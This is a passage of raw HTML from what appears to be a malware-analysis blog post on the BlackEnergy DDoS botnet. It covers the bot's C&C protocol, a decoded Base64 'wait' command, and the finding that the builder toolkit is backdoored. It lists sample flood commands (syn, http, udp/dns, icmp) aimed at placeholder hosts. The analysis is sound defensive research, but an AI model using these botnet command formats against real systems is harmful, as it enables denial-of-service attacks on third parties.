&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;PUSH 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ;
/ExitCode = 0&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;CALL DWORD PTR
DS:[&amp;lt;&amp;amp;KERNEL32.ExitProcess&amp;gt;]&amp;nbsp;&amp;nbsp;
; \ExitProcess&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1px;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;E ) &amp;nbsp;&lt;span style=&quot;color: #073763;&quot;&gt;&lt;b&gt;wait:-&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;This command instructs the bot client to remain silent without performing any activity and contact the C&amp;amp;C server for new commands after the specified interval. Format of this command is as shown below :&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;4500;2000;100;1;0;30;500;500;200;1000;2000#wait#10#xEN-XPSP1_80D1F15C&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;This instructs the bot client to wait for 10 minutes before checking for new commands . This is exactly what can be figured out from the screenshot below&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLNFWeQ6aoeEPQAQGDhQ5ixYCWIU-U6GPrl2IvqYvqUdWsYRDoQXRjU1ljX2W_Rxx_rxmGJH-obq7dhSfkIxWwQt7KPp4AnGT69mAiaBwpsRnCcfAazihLWFUQrmCba2-RgfXsDBCAuUo/s1600/5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLNFWeQ6aoeEPQAQGDhQ5ixYCWIU-U6GPrl2IvqYvqUdWsYRDoQXRjU1ljX2W_Rxx_rxmGJH-obq7dhSfkIxWwQt7KPp4AnGT69mAiaBwpsRnCcfAazihLWFUQrmCba2-RgfXsDBCAuUo/s400/5.png&quot; height=&quot;110&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 10.0pt; letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 13.0pt; letter-spacing: 1.0pt;&quot;&gt;Network Communications:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;BlackEnergy Bot client uses HTTP
protocol to communicate with the C&amp;amp;Cserver. It uses HTTP POST request to
stat.php page as shown in the &quot;Architecture of Botnet&quot; section. POST
request data is then logged into the “stat” table in the database primarily
used for tracking the bots. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;The information sent by the bot-client
in the HTTP POST request message includes the ID and the build ID.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;ID parameter is a combination of the SMB hostname and
the C:\ volume information of the infected machine. The code section below
shows how the ID parameter is built&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWSgq0-CBu-R5OhR5NYjmFjjWWwLVGliEulzEy1n1RaHQjdo7W8bH5Mbfta4w7ln9OQBPRYV4890qKFgyOeBjspWARooyuk_k-IFdvFxZ7wJna9eSMEDNYTiNN90URHwiSpxoFFJfSl58/s1600/6.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWSgq0-CBu-R5OhR5NYjmFjjWWwLVGliEulzEy1n1RaHQjdo7W8bH5Mbfta4w7ln9OQBPRYV4890qKFgyOeBjspWARooyuk_k-IFdvFxZ7wJna9eSMEDNYTiNN90URHwiSpxoFFJfSl58/s400/6.png&quot; height=&quot;202&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 12.0pt; letter-spacing: 1.0pt; mso-ansi-language: EN-US; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;Build_ID is the parameter which is
randomly generated by the bot builder and is probably used to track the botnet
infections. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;letter-spacing: 1pt;&quot;&gt;In reponse, the C&amp;amp;C server replies
with the Base-64 encoded command as shown below.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj63KKMjWVB15r4QAo-aP9L0QWGFrUxvsPeFnbHnvNP8lMSySMSUEpCK2dgSkft3pX6ElPzicY8InBoyU-cKTsOuccvEvjJru5F9l2XIgh6QQQbDReIzaC86kAVkQupyjIDREKH-wtmMaY/s1600/7.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj63KKMjWVB15r4QAo-aP9L0QWGFrUxvsPeFnbHnvNP8lMSySMSUEpCK2dgSkft3pX6ElPzicY8InBoyU-cKTsOuccvEvjJru5F9l2XIgh6QQQbDReIzaC86kAVkQupyjIDREKH-wtmMaY/s400/7.png&quot; height=&quot;137&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;The decoded command shows the
following: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;4500;2000;100;1;0;30;500;500;200;1000;2000#wait#10#xEN-XPSP1_80D1F15C.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;This shows the extent upto which the
DDoS parameters are configurable in this bot. All the parameters are present
even in the #wait# command. Likewise, variety of different DoS commands can be
given by C&amp;amp;C sever, few of which are listed below: &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;# flood syn www.abc.com 25#10#&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;# flood http www.xyz.com#20#&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;# flood udp;dns;syn;1.1.1.1#10#&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;# flood icmp 1.1.1.1#5#&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;A significant finding of our analysis
has shown that the toolkit that is used to build the bot client executable is Backdoored.
On execution of the toolkit, it opens a random port on the infected system in
the listening mode. Also , it is found sending significant system information
to the remote server . Below is the snapshot of Base-64 encoded traffic that we
captured when the toolkit was launched for building the bot. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8h1NdWvqt9PwIRxadaX8jaAcTW-TD7DlVPABj6yd7jsoIkC02UOiDdVzoJpeuGHPeOUHmHtOrxqJWPLNzEl-Y5puMD8zvDXlNcleAF34Av-izK4J3e_lnPowpC-ZJzSBk0kK0W0PtnwU/s1600/8.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8h1NdWvqt9PwIRxadaX8jaAcTW-TD7DlVPABj6yd7jsoIkC02UOiDdVzoJpeuGHPeOUHmHtOrxqJWPLNzEl-Y5puMD8zvDXlNcleAF34Av-izK4J3e_lnPowpC-ZJzSBk0kK0W0PtnwU/s400/8.png&quot; height=&quot;186&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;letter-spacing: 1px;&quot;&gt;Decoding above traffic shows the info that was being sent by this toolkit&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxBMzA0qts6_S2S-oiss3u9D5xSaK0cMB7FFcsBe72h18lJJLkksgZ4JysaJINUzg7EFXwcvFG44CQWYS3hDvo6I_0sXnegssA2PBZIZ6eM3N9oxrw42MneitFgyRnatPkZB1yOZOdi-Y/s1600/9.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxBMzA0qts6_S2S-oiss3u9D5xSaK0cMB7FFcsBe72h18lJJLkksgZ4JysaJINUzg7EFXwcvFG44CQWYS3hDvo6I_0sXnegssA2PBZIZ6eM3N9oxrw42MneitFgyRnatPkZB1yOZOdi-Y/s400/9.png&quot; height=&quot;42&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;font-size: 12pt; letter-spacing: 1pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
